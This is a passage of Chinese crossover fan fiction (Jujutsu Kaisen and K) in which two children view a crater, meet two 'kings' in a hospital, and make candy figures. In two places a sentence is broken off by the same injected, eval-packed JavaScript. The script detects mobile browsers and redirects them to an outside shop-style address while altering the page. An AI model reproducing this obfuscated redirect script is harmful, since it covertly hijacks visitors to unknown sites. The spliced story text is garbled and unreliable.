虽然和想象中飞翔这个词带来的含义不同,但是甚尔还是愉快地享受了一番。 “你在外面待了多久?”听到空中列车这个词,想到刚才乘坐的轻轨,甚尔问。 他见过和路长知有类似能力的加茂家的大人使用咒术,体内的血在甚尔看来比体外的水更好控制,但是他们之中没有一个人使用咒术的方式和路长知一样。 放慢速度,路长知没有回答,而是看着远方。 她的脸上难得透露出冷漠,甚尔跟着看过去。 “这是天灾般的力量可以造成的糟糕结果之一。”路长知说。 “之……一?”语言比景象先抵达,毫无预料的甚尔没能立刻理解眼前的一切。 世界被硬生生挖去一角,露出埋藏在深处的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495663|202487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、无法理解的东西。 望不到边际的巨大坑洞将现在分割成与过去截然不同的存在。 深邃的,漆黑的。只是望着,就好像已经掉进去,不停地下坠,掉进未知的存在,找不到回来的路,身体与意识被一点点吞没。 “起码没有痛楚。”看着没有尽头的陨坑,路长知说。虽然对于很多人来说,宁愿痛苦,也要活着。 从掉落的幻觉中回神,甚尔下意识寻找在这个世界的落脚点。他回想刚才发生了什么。略去坑洞,想到天灾,想到结果。 他问:“……之一?” “嗯,这是纯粹的暴力倾泄,他甚至不是在故意挑选人多的地方,他只是不在乎。不过这也只是我身为后来者的评价,我没有和他相处过,不知道他的理念,只是知道有这么一个结果。” “他?”甚尔扭头再看路长知,现在看来,她身上传递出来的冷漠更像是竖起高墙,将与毁灭相伴的痛苦隔开。 “迦具都玄示,王权者之一,掌控红色的力量,权柄具体代表着什么我不太记得了,好像是更偏随心所欲那边。” 虽然对外面的时刻不太了解,但是甚尔不觉得这些信息是谁都可以知道的,于是他心中产生了一个想法,问:“你当过王权者?” “……是有想过,现在有两个空缺呢,不过,”真正令路长知犹豫的是,她之前不知道这个世界里有K的力量,也没有办法确定是否有更多她知道或者不知道的世界,“再想想吧,应该还有一段时间。” 虽然她擅自改变了甚尔的命运,但是那是往她可以确定的、更好的方向前行。 而K的故事,周防尊的死亡,那不是阻止十束死亡就能改变的未来。如果他不是那样的性格,不会做那样的事情,他就不会被石板选中成为赤之王……真的不会吗?可是安娜,但是安娜,不,她本身就是特殊的,她不具有普适性。 轻轻叹口气,把纷杂的想法甩掉,两人落到地面,路长知伸出手,说:“给你看点新鲜的。” 丝丝缕缕的蓝色水线从路长知的手心向四周蔓延,缓慢编织出水的通路。不像蜘蛛网那样有序,却也有迹可循。随着某些方向的细节愈发丰富,另一些方向的水线直接消失。最终,路长知找到了她想找的人,花的时间也比预期中要少。 “运气不错,他们没走远。”她说。比水流还没有醒。 13. 密林深处(五) 落日般的光线从房间内唯一的光源向外辐射,那是一盏油灯,是更适合出现在禅院家的东西,此刻却偏偏被点燃在病房里。 “还以为蜡烛会更常见一些。”双手插兜,看着身形随摇曳灯光不停变换的灰发男人,路长知给出感想。 “你们是?”男人对突然闯进病房的两个小孩自来熟的程度感到些许无奈。 “你知道咒灵吗?”路长知想了想,觉得从最初的概念开始沟通确实是更简洁的方法。 “咒术师……小鬼?” “那你知道什么是天与咒缚吗?” “有所耳闻。” “那你就知道我们是谁了,”先后指了指自己和甚尔,路长知接着说,“我们想知道咒力和王权者的能力是否有可能存在于同一个人身上。” “虽然不知道你从哪里知道我的,但是我对咒术师的了解应该比不上身为咒术师的你。”男人没有因为两人的年纪而不把她们的话语当一回事,他灵魂的一部分在不久前永远地与被陨坑带走的生命一同消失了,他从未如现在这般在乎他遇到的每一个人。 “是停电了吗?” “什么?” 路长知指一下油灯。 “是,线路还在抢修,这是我的藏品,现在也算物尽其用。” “很好看。”路长知盯着那随风摇曳的光看了一会儿,眼前突然多出来一个手掌,是甚尔,他说,“别盯着光看。” 那是别人曾用在他身上的刑罚,为不知名的理由。虽然从结果来看是有用的,增加了他身体的强度,但是疼痛与痛苦也是真实的。 甚尔讨厌发生在自己身上的一切有一丝一毫可能发生在路长知身上的痕迹,即便是她自找的。 “好,我记住了,”可能是咒力在强化身体,路长知偶然间发现自己可以直视太阳的那个早上,完整地看了一场日出,“你没有把他送去有电的地方。” 路长知指了指躺在废弃医院病床上的比水流。 “他不需要。”说明已经去过了。现代科技对于失去心脏的比水流来说没有太大的意义。 “他濒死过,”路长知小声和甚尔说,又转头问凤圣悟,“可能看到过咒灵,你可以看到咒灵吗?” “可以,”虽然是打发时间,缓解心中的焦虑,但是男人觉得不能继续让路长知掌握话题,他被她飘忽的话题带得有些难受,“我叫凤圣悟,你们从哪里来?” “你知道御三家吗?” “禅院?”凤圣悟想了一下,他记得听过禅院家出了一个天与咒缚的消息。 “哇,禅院家丢脸丢到这里来了!”路长知故作惊奇道,“叫我樱咲就好。” 然后两人都将目光转向甚尔。 “……甚尔。”比起被喊禅院,还是甚尔好接受一些,而且路长知已经自来熟地喊了很久了。多一个少一个没什么区别。 “你们为什么想知道这两种力量是否可以同时存在于同一个人身上?”凤圣悟有些好奇。这两人的年纪看起来实在太小了,不像是会和这个话题有关联的样子。 路长知上前一步,抓起凤圣悟的手问:“你有兴趣了解一下无知无能自取灭亡的禅院家吗?” “?”别说凤圣悟,甚尔也没明白话题是怎么突然转到这里的。不过甚尔已经开始习惯路长知的这种说话方式了。他脸上展露出的疑惑没有凤圣悟多,赢了。 虽然不认同禅院家教养小孩的理念,但是慕强这种东西,一旦染上了,就是一辈子的事情。握拳,点头。 路长知简单描述了一下御三家是怎样充满压迫的地方,她的言辞里没有参杂多少情绪,却让凤圣悟心中的情绪和面对迦具都玄示的死亡与对方死后对世界造成的毁灭时很像。身体里涌动的窒息般的痛苦如实表达了他的想法。但是他没有表现出来,因为现在这样不是第一次,也不会是最后一次。 他走到两个小孩面前,蹲下去,伸出两只手,手里是糖,脸上是笑。 “辛苦了。”他说。 甚尔也许会忽视对方,也许会拿走糖果,路长知心想,但那要由甚尔决定。 于是路长知拿走属于自己的糖,仿佛没有防备心一般直接剥开塞进嘴里,然后去洗手间把糖纸洗干净,叠成一个小小的糖纸飞机。 “我真厉害,”路长知捧着糖纸飞机走回病房,忍不住说,“居然还记得怎么叠飞机。” “?” “怎么叠?” 凤圣悟和甚尔的反应完全不同。 “你拿着,”路长知把糖纸飞机放到甚尔手中,把她不在时对方拿到手的糖果剥开塞进他嘴里,重新跑回卫生间洗干净,“你看。” 一边慢慢叠,一边详细讲。 凤圣悟在旁边看得一愣一愣的,忍不住多看两眼,明白过来甚尔曾经的生活可能比他以为得要更加残酷,他在心里叹口气,干脆直接坐到地上,问:“你们想怎么做?” “你被咒术师攻击过吗?”把另一个糖纸飞机也放到甚尔手里,路长知把床尾的小凳子搬到凤圣悟对面放好,招呼甚尔坐下,然后去给自己搬椅子。 “没有,他们闯不到我面前。”凤圣悟逐渐适应失去一切的痛苦,他提起以前时的口吻开始和以前很像,带着王的骄傲与被氏族拥护的喜悦。 即便现在什么都没有了。 “那我可以攻击一下你吗?”路长知举手问。 “来。” 近乎漆黑的流水从凤圣悟身后出现,一毫米宽的细水飞速冲向他的大脑。 凤圣悟甚至没有反应过来,灰色的圣域显现出来,达摩克利斯之剑也随之出现并悬浮于高空之上。 可能是因为被医院的天花板挡住,也可能是因为弄清楚了现在的时间点,路长知不像第一次肉眼见到那巨剑时惊恐。 细水仿佛会繁殖,接连不断地冲向凤圣悟,从头到脚都攻击一遍,没有给对方带去任何伤害。 “你把圣域收起来。”路长知的话语自然得好像十秒钟之前不是她在想尽办法试图杀死他。 凤圣悟没有照做,他不信任路长知,当然,这不是重点,重点是比水流还昏迷着,不确定会不会醒来,以及如果苏醒,醒来之后会变成什么样。他不能在这种情况下将自己的生活交出去。是他亲手把人从陨坑中拉回来的,他要为他的生命承担责任。 “你总会收起来的……我在陈述事实,不是想要挑衅或者威胁,”她转头问甚尔,“我是不是有点自说自话?” “没有。”甚尔觉得路长知说的是事实。 那就这样吧。思考一瞬,路长知把头扭回去。她不确定自己有没有迎来第三次人生的可能,但是既然已经是第二次了,稍微随心所欲一点应该也没关系。一直思考的话,等回过神来,人就会被如潮水般汹涌澎湃的疲惫给淹没掉。 揉一揉太阳穴,凤圣悟最终还是收起圣域。对方不是王权者,他不需要担心发生在迦具都身上的事情会重演,而她又杀不了他,那似乎也没有什么是不可以给路长知机会去让她尝试的。 在灰色逐渐消失的过程中,路长知试着用咒力做一个和圣域看着相似的结界。把结界套在甚尔周围,路长知试着伸手戳了一下,什么都没有拦住……想也知道,没那么容易成功。 流水顺着甚尔的身体流到凤圣悟身边,碰到对方的脖颈,冰凉而柔软的触感让他打了个寒战,不自觉向一旁躲开。 由于一瞬,路长知最终放弃了在这样近的距离展开攻击以试探圣域是否来得及展开。应该是来得及的,毕竟能挡热武器。她其实也只是想知道两套不同的力量体系是否可以触碰到彼此。 “你的力量能祓除咒灵吗?”路长知继续问。 “可以。” “哇,”路长知真心实意地感到惊讶,“那氏族和权外者呢?” “氏族可以。” “所以特殊的是王的力量。”路长知注意了一下用词,没有直接提到石板。石板的存在是特殊的,她一个在禅院家长大的小孩,再怎么有获得消息的渠道,也不应该知道这个。 此时,病床上传来被子轻微的摩擦声,凤圣悟站起身,快步走向比水流。和对方对视的瞬间,确实救下了什么的想法让凤圣悟脸上的肌肉不受控地颤抖了几下。他很快调整好,看着那双不像是刚刚苏醒的、清明的眼睛,露出温和的笑容。 病房内陷入短暂的沉默,比水流转动眼珠,看到一个小孩扶着床尾的栏杆,睁着大大的眼睛盯着他,另一个站得远一些,神情中带着不符合年纪的漠然与审视。 “你感受到力量了吗?”结果最先开口的人是路长知,她延续刚才的问答,似乎并不在意对方刚从死亡中脱身,也不在意回答她的人究竟是谁。 作为回答,绿色的光辉在比水流身上一闪而过。 “好控制吗,和以前相比是什么感觉?” 比水流没有回答,而是将目光转向凤圣悟。他能够感受到,这个房间里,只有这个一直在笑的男人和他一样。 “好吧,”见他们姑且没时间搭理自己,路长知拉着甚尔准备离开,“你们先聊。” “你们去哪儿?”凤圣悟本就不放心两个小孩到处乱跑,更不用说迦具都陨坑造成的影响才刚刚开始向四周辐射。 “去做糖果,”糖纸飞机被甚尔小心地捏在手里,彩色的光辉总是会吸引路长知的目光,“可以给你们带一些。” “外面现在并不安全。”凤圣悟提醒道。 “别担心,我们会躲着人群的。”挥挥手,两人一前一后离开病房。 离开医院没多久,在路上闲不住的路长知就开始大批量做结界。本以为要过一段时间才能尝试出一些细微的结果,毕竟结界这种东西听起来还是太玄幻了,不太符合她被科学养育出来的思维。 “哇。”看着结界内仿佛突然虚幻起来的景象,路长知发出无意义的感叹。 “哇。”甚尔有样学样。他其实没有太惊讶,他比路长知对这件事更有信心。虽然没有咒力,不清楚做到这样的事情需要多么强大的天赋与能力,但是甚尔的身体不是无缘无故一天比一天强大的。他清楚从无到有是一种什么样的感受,也就更觉得路长知可以做到。她在他的世界里,逐渐和强大这个词画上等号。 被夸奖的路长知十分得意,做一个更大的结界出来,将两人包裹在里面,然后开始大张旗鼓地飞在城市上空。 稍微转一点视角,也更加清晰地看到王的死亡会给人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495664|202487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 类带去多么大的毁灭。 “感觉有点像是开了创造模式的一键清除。”盯着看了一会儿,路长知最终这样评价道。 甚尔没明白这句话是什么意思,也没指望路长知能够记得像解释王权者一样和他解释。她总是下意识以为她周围的所有人都应该和她一样了解眼前这个世界的一切。她真的不像一个禅院。 禅院这个姓氏在她身上仿佛没有留下任何痕迹。 “到了。”她果然没想起来和甚尔解释一下什么是游戏。 落了地,摩挲着手中的糖纸飞机,甚尔轻笑一声。 “嗯?”路长知回头,投去疑惑的目光。 “没什么,进去吧。”说完,甚尔先抬脚,从无人的小巷子里走出去,直直走向手工店。 他不需要路长知停下来等他,不明白的,做不到的,他都会以自己的方式一一搞清楚。 而路长知,她眨眨眼,只觉得甚尔笑起来很可爱。 跟着流水人走进店里,比店内缤纷的色彩更引人注意的是清甜的香气。捏了一次又一次流水人之后,路长知现在不仅能够较好地塑形,还开始尝试调色,让它更像真人。甚尔一直盯着看。 在禅院家,新生儿的诞生并不少见,只是大多天资一般。即便有名字,也好像并不存在,不是由血肉铸成的生命。甚尔听过女人生产时的动静,他耳力很好,听得非常清楚。 那声音在记忆里响得越是令人心慌,流水人逐渐真实的面容便越是让人心惊。 倘若有一天,路长知真的塑造出来一个生命。甚尔不意外自己会有这样的想法,因为生命孕育于女性的体内,路长知当然可以做到。他只是不明白自己因一个想法而心跳加速的原因。 可是当路长知回头喊他的名字,让他走到她身边去,那份不知道该如何命名的感受便全都转变成兴奋与喜悦。 他只要回应她的呼喊就好,其它的都不重要。 对成长期儿童的心理一无所知的路长知把跑神的人喊回来,认为捏人能捏好,做糖肯定也可以,便自信满满地一边做一边和甚尔讲。 两分钟不到,脱离模具尝试自己塑形的路长知一败涂地。她不敢相信地望着歪歪扭扭的糖果小人,眨了眨眼,扭头看甚尔,甚尔的成果和她没什么区别。但是这没有安慰到路长知。她捏流水人的时候可是一点问题都没有,这家店不对劲! 再看看别人,虽然也有失败,但是不成人形的还是少数。 抿紧嘴唇,路长知瞬间捏了满屋子流水人,一点问题也没有,要多精致有多精致,完全可以当成品售卖。 “我练一下就好了!”路长知和甚尔强调道。 随后满屋子的流水人都开始跟着路长知手上的动作变来变去,十分诡异。 大概十分钟后,没有流水的辅助,路长知也可以做出来几乎和流水人一模一样的人形糖果了。因为有个略显诡异的流水人和冷冷望着每一个试图凑近的甚尔,几乎没有人注意到路长知近乎变态的进步速度。 “你看,”路长知把糖果小人举到甚尔眼前,“这是我!” 体型参考上一世的她,容貌和发型都是现在的。 路长知的喜悦没有任何遮掩,甚尔试探性地开口问:“这个能给我吗?” “好啊,甚尔还想要什么样子的,我都可以!”现在的路长知和十分钟前的路长知已经不是同一个人了! “这个就行。” “贪心一点嘛,甚尔。” “那……做个我。” “好!” 有了经验的路长知很快完工。望着桌子上小小的一个幼年甚尔,路长知愣了一下,在做的过程中,她一次也没有想起来成年的甚尔。 路长知有点想问甚尔喜欢什么类型的人,又觉得这个年纪的小孩还处于探索期,上一秒喜欢的,下一秒就会忘记。 甚尔没太在意路长知复杂的目光——她经常用那种眼神看很多东西——他只是望着那个小小的自己,像是第一次以这个角度看自己。 “我在你眼里是这样的吗?”甚尔低声问。 “是的,但是这是客观事实,甚尔,你对上学有兴趣吗?”路长知知道甚尔想问的是什么,可是她确实只是把他复刻出来了,和机器扫描一样,其中没有附加她对他的看法与感想,虽然甚尔应该觉得有。 “你也上?”这不是路长知第一次提到上学。 “也不一定要去学校,可以找比水流辅导你。”路长知飞速拒绝,她没有一定要在学校才能学习的执着。 “凤圣悟呢,你很喜欢比水流?” “也不是啦,都还好,只是比水流有空的时间应该更多一些。” “你一起?” “不要,我可以和你待在一起,但是我不要一起学习他们教导给你的内容。” “因为你早就知道?” “嗯嗯!”路长知用力点头,她实在没兴趣从头再搞一遍学习。 “好,”甚尔也点头,越是看到世界,他心中的疑问越多,“读书就可以明白你提过的东西吗?” “还要思考吧,甚尔的理解能力没有问题,所以我觉得应该是可以的。” “好,我明白了。”